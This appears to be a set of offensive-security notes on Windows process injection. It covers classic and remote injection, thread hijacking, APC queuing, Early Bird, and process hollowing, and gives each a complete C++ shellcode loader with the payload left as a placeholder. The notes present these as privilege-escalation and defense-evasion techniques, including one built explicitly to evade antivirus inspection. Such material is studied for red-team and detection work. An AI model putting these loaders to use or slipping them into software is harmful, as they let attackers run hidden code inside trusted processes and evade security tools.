Process Injection

  • Privesc and defense evasion technique
  • inject untrusted code into the address space of a trusted process and inherit the security context of the process's owner
  • Steps required:
    • Allocate a new region of memory in the process
    • Copy the shellcode into that region
    • Execute the shellcode (with a thread)

Classic Injection

Uses VirtualAlloc, WriteProcessMemory and CreateThread APIs to inject and execute the shellcode in the running process

#include <Windows.h>

int main()
{
    unsigned char shellcode[] = "..."; // your shellcode goes here

    // allocate a region of memory
    auto hMemory = VirtualAlloc(
        NULL,                       // we don't mind where it's allocated
        sizeof(shellcode),          // the size of memory region
        MEM_COMMIT | MEM_RESERVE,   // type of memory allocation
        PAGE_EXECUTE_READWRITE      // memory protection
    );
    
    // write the shellcode into memory
    SIZE_T bytesWritten = 0;
    WriteProcessMemory(
        GetCurrentProcess(),    // handle to target process
        hMemory,                // pointer to target memory region
        &shellcode,             // pointer to data to write
        sizeof(shellcode),      // length of data to write
        &bytesWritten           // receives the number of bytes written
    );

    // create a new thread
    DWORD threadId = 0;
    auto hThread = CreateThread(
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)hMemory,  // a pointer to the thing to execute
        NULL,
        0,
        &threadId                         // receives the new thread ID
    );

    // wait for the thread to finish
    WaitForSingleObject(
        hThread,    // the handle to wait on
        INFINITE    // the length of time to wait
    );
    
    // close the thread handle
    CloseHandle(hThread);
}

Classic Remote Injection

Same as above but with an added step of obtaining the handle to the targt process by its PID

#include <Windows.h>

int main(int argc, char* argv[])
{
    unsigned char shellcode[] = "...";

    // convert the provided argument to an integer
    auto pid = atoi(argv[1]);

    // get handle to process
    auto hProcess = OpenProcess(
        PROCESS_ALL_ACCESS, // desired access level
        FALSE,
        pid                 // target process ID
    );

    // sanity check the handle is valid
    if (hProcess == INVALID_HANDLE_VALUE) {
        return 0;
    }

    // allocate a region of memory
    auto hMemory = VirtualAllocEx(
        hProcess,   // handle to target process
        NULL,
        sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    // write the shellcode into memory
    SIZE_T bytesWritten = 0;
    WriteProcessMemory(
        hProcess,
        hMemory,
        &shellcode,
        sizeof(shellcode),
        &bytesWritten
    );

    // create a new thread
    DWORD threadId = 0;
    auto hThread = CreateRemoteThread(
        hProcess,   // handle to target process
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)hMemory,
        NULL,
        0,
        &threadId
    );

    // wait for the thread to finish
    WaitForSingleObject(
        hThread,
        INFINITE
    );
    
    // close the thread handle
    CloseHandle(hThread);
}

Thread Hijacking

  • Antivirus solutions can alert if they inspect thread memory and find its pointing to shellcode
  • Solution = create the thread in a suspended state but pointing to a bening location
  • After the AV is done scanning the context of the thread can be changed to point at the shellcode
#include <Windows.h>

void dummy() {
    // do nothing
}

int main()
{
    unsigned char shellcode[] = "...";

    // allocate a region of memory
    auto hMemory = VirtualAlloc(
        NULL,
        sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    // write the shellcode into memory
    SIZE_T bytesWritten = 0;
    WriteProcessMemory(
        GetCurrentProcess(),
        hMemory,
        &shellcode,
        sizeof(shellcode),
        &bytesWritten
    );

    // create a suspended thread pointing at a dummy function
    DWORD threadId = 0;
    auto hThread = CreateThread(
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)&dummy,
        NULL,
        CREATE_SUSPENDED,
        &threadId
    );

    // little sleep
    Sleep(5 * 1000);

    // get current thread's context
    CONTEXT ctx = { 0 };
    ctx.ContextFlags = CONTEXT_ALL;

    GetThreadContext(hThread, &ctx);

    // point thread context at shellcode
    ctx.Rip = (DWORD64)hMemory;
    SetThreadContext(hThread, &ctx);

    // resume the thread
    ResumeThread(hThread);

    // wait on thread
    WaitForSingleObject(hThread, INFINITE);

    // close handle
    CloseHandle(hThread);
}

Asynchronous Procedure Calls (APC)

  • similar to above but instead of creating a new thread we queue an APC on an existing thread
  • When thread enters alertable state (calls Sleep or WaitForSingleObject ) it will run the shellcode that the APC points to
  • we need a thread ID and in order to get one we need to "thread walk" it
#include <Windows.h>
#include <tlhelp32.h>

int main(int argc, char* argv[])
{
    unsigned char shellcode[] = "...";

    // convert the provided argument to an integer
    auto pid = atoi(argv[1]);

    DWORD threadId = 0;

    // create thread snapshot
    auto hSnapshot = CreateToolhelp32Snapshot(
        TH32CS_SNAPTHREAD,
        0
    );

    THREADENTRY32 te = { 0 };
    te.dwSize = sizeof(te);

    // walk the threads
    Thread32First(hSnapshot, &te);

    do {
        if (te.dwSize >= FIELD_OFFSET(THREADENTRY32, th32OwnerProcessID) + sizeof(te.th32OwnerProcessID)) {
            if (te.th32OwnerProcessID == pid) {
                // use the first thread we find
                threadId = te.th32ThreadID;
                break;
            }
        }
        te.dwSize = sizeof(te);
    } while (Thread32Next(hSnapshot, &te));

    if (threadId == 0) {
        // we failed to find a thread
        return 0;
    }

    // get a handle to the process
    auto hProcess = OpenProcess(
        PROCESS_ALL_ACCESS,
        FALSE,
        pid
    );

    // allocate a region of memory
    auto hMemory = VirtualAllocEx(
        hProcess,
        NULL,
        sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    // write the shellcode into memory
    SIZE_T bytesWritten = 0;
    WriteProcessMemory(
        hProcess,
        hMemory,
        &shellcode,
        sizeof(shellcode),
        &bytesWritten
    );

    // open handle to target thread
    auto hThread = OpenThread(
        THREAD_ALL_ACCESS,
        FALSE,
        threadId
    );

  	// queue the apc
    QueueUserAPC(
        (PAPCFUNC)hMemory,  // target function
        hThread,            // target thread
        0
    );
}

Early Bird

  • downside of APC method is that thers no guarentee that the thread will become alertable
  • early bird method is a solution that spawns a new process in a suspended state, queuing the APC on its primary thread then resuming the process
  • APC is guarenteed to trigger
#include <Windows.h>

int main()
{
    unsigned char shellcode[] = "...";

    STARTUPINFOW si = { 0 };
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;

    PROCESS_INFORMATION pi = { 0 };

    // spawn process in suspended state
    CreateProcess(
        L"C:\\Windows\\System32\\cmd.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        L"C:\\Windows\\System32",
        &si,
        &pi
    );

    // allocate a region of memory
    auto hMemory = VirtualAllocEx(
        pi.hProcess,    // handle to newly spawned process
        NULL,
        sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );

    // write the shellcode into memory
    SIZE_T bytesWritten = 0;
    WriteProcessMemory(
        pi.hProcess,
        hMemory,
        &shellcode,
        sizeof(shellcode),
        &bytesWritten
    );

    // queue the apc
    QueueUserAPC(
        (PAPCFUNC)hMemory,
        pi.hThread,
        0
    );

    // resume the process
    ResumeThread(pi.hThread);

    // tidy up our handles
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}

Process Hollowing

  • process is started in suspended state
  • original PE is unmapped from memory and new PE mapped in its place
  • we overwrite the PE's entry point with shellcode without unmapping anything first
  • when resumed, process's primary thread wil be pointing at our shellcode instead of PE's executable code section
  • To find the PE entry point we need to read its structure from memory while its suspended
#include <Windows.h>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")

int main()
{
    unsigned char shellcode[] = "...";

    STARTUPINFOW si = { 0 };
    si.cb = sizeof(si);
    si.dwFlags = STARTF_USESHOWWINDOW;

    PROCESS_INFORMATION pi = { 0 };

    // spawn process in suspended state
    CreateProcess(
        L"C:\\Windows\\System32\\cmd.exe",
        NULL,
        NULL,
        NULL,
        FALSE,
        CREATE_SUSPENDED,
        NULL,
        L"C:\\Windows\\System32",
        &si,
        &pi
    );

    // get the process information to find the address of the PEB
    PROCESS_BASIC_INFORMATION pbi = { 0 };
    ULONG returnLength;
    NtQueryInformationProcess(
        pi.hProcess,
        ProcessBasicInformation,
        &pbi,
        sizeof(pbi),
        &returnLength
    );

    // the image base address is always at PEB + 0x10 for x64
    auto lpBaseAddress = (LPVOID)((DWORD64)(pbi.PebBaseAddress) + 0x10);

    // read the base address (addresses are 8 bytes for x64)
    LPVOID baseAddress = 0;
    SIZE_T bytesRead = 0;
    ReadProcessMemory(
        pi.hProcess,
        lpBaseAddress,
        &baseAddress,
        8,
        &bytesRead
    );

    // now we can read the dos header
    IMAGE_DOS_HEADER dHeader = { 0 };
    ReadProcessMemory(
        pi.hProcess,
        baseAddress,
        &dHeader,
        sizeof(dHeader),
        &bytesRead
    );

    // use e_lfanew to calculate pointer to nt header
    auto lpNtHeader = (LPVOID)((DWORD64)baseAddress + dHeader.e_lfanew);

    // read the nt header
    IMAGE_NT_HEADERS ntHeaders = { 0 };
    ReadProcessMemory(
        pi.hProcess,
        lpNtHeader,
        &ntHeaders,
        sizeof(ntHeaders),
        &bytesRead
    );

    // calculate the entry point address
    auto entryPoint = (LPVOID)((DWORD64)baseAddress + ntHeaders.OptionalHeader.AddressOfEntryPoint);

    // write shellcode to this location, overwriting the PE
    SIZE_T bytesWritten = 0;
    WriteProcessMemory(
        pi.hProcess,
        entryPoint,
        shellcode,
        sizeof(shellcode),
        &bytesWritten
    );

    // resume the process
    ResumeThread(pi.hThread);
}